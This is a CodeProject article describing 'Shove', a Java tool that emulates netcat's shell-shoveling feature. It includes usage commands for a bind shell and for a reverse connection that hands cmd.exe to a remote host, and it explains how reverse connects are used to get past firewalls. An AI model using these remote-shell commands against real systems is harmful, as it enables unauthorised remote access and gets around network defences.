Click here to Skip to main content
Click here to Skip to main content

Shove - Shell Shoveler

, 1 Mar 2008
Rate this:
Please Sign up or sign in to vote.
Emulate the NetCat Feature.

DISCLAIMER

This Tool was not designed for Malicious Intent. By Using this tool you agree and acknowledge the author (me) does not hold any responsibilty for it's use. This Tool comes with ABSOLUTELY NO WARRANTY. Use at your Own Risk...

Introduction

The Article discusses The Working of an application Shoveller...The Program is called "Shove" and it emulates a netCat (nc.exe) feature called a "Shell Shoveler". Allows a User to Access the Command Prompt (or any console application) of a Remote Machine.

Background

The Following Code also Uses I/O Streams, Sockets, Binding Ports, and The Reverse Connect Back Method...The Reader is Assumed to know what they mean.

How to Build

	javac interfaceShove.java StreamShovel.java ShoveWrap.java Shove.java

How to Use Shove

Unless you make a jar file...you have to run shove by the following (make sure all "class" files are in same dir)

usage: Shove [-pPORT] [-aAPPLICATION] [-hREMOTEHOST]

1) Bind Shell

c:\[DIR]>java -classpath . Shove 
//runs in default config (bindshell 7978)

c:\[DIR]>java -classpath . Shove -p53
//(bindshell 53) 

2) Reverse Connect

c:\[DIR]>java -classpath . Shove -p90 -acmd.exe -h200.200.200.2
//repeatedly connects to 200.200.200.2 at port 90. if success shovels a shell 
//on your machine "nc -l -p90" 

Why Reverse Connect Method?

The Reverse Connect Method is Used to Circumvent Firewalls, NAT Traversal, etc. Since Our Incoming Attempts to connect to the host will fail in case of a firewall, we ask the host to connect to us (since the firewall "should" allow outgoing connections). It's Usually used in Exploits. But, For shove it has to be manually set up. So you don't need to add new Rules to your Firewall and compromise.

How it Works?

For Every Process there are 3 Streams Stdin,StdOut,StdErr .
For a Console Application, The Stdin refers to Keyboard input. The StdOut and StdErr Point the Console Window. There are Methods of Redirecting the Streams to Different Streams For eg. ( dir *.* > list.txt )
This way The Output Stream (stdout,stderr) are redirected to the file input stream (list.txt). In a Similar way, Sockets have an InputStream and an OutputStream. Shove Simply redirects the OutputStream of The Socket to the InputStream of The Process (Stdin) and InputStream of The Socket to OutputStream of the Process (stdout,stderr). So when the socket recieves the data, it is sent to the process, the output from the process is sent back through the socket to a remote user...

Points of Interest

The Utility is Inspired from a Single Feature of NetCat (by Hobbit) - The Swiss Army Knife of Networking.

Author's Notes

Now, java programs are supposed to be platform independent,but I don't have Access to another OS to test it out, but i'm curious to whether it will work on any other OS. So I request people of CP to test it out and post their feedback.

History

Original Draft : 2 March 2008

License

This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)

About the Author

st0le
Other Student
India India
No Biography provided

Comments and Discussions

 
-- There are no messages in this forum --
| Advertise | Privacy | Mobile
Web03 | 2.8.140718.1 | Last Updated 2 Mar 2008
Article Copyright 2008 by st0le
Everything else Copyright © CodeProject, 1999-2014
Terms of Service
Layout: fixed | fluid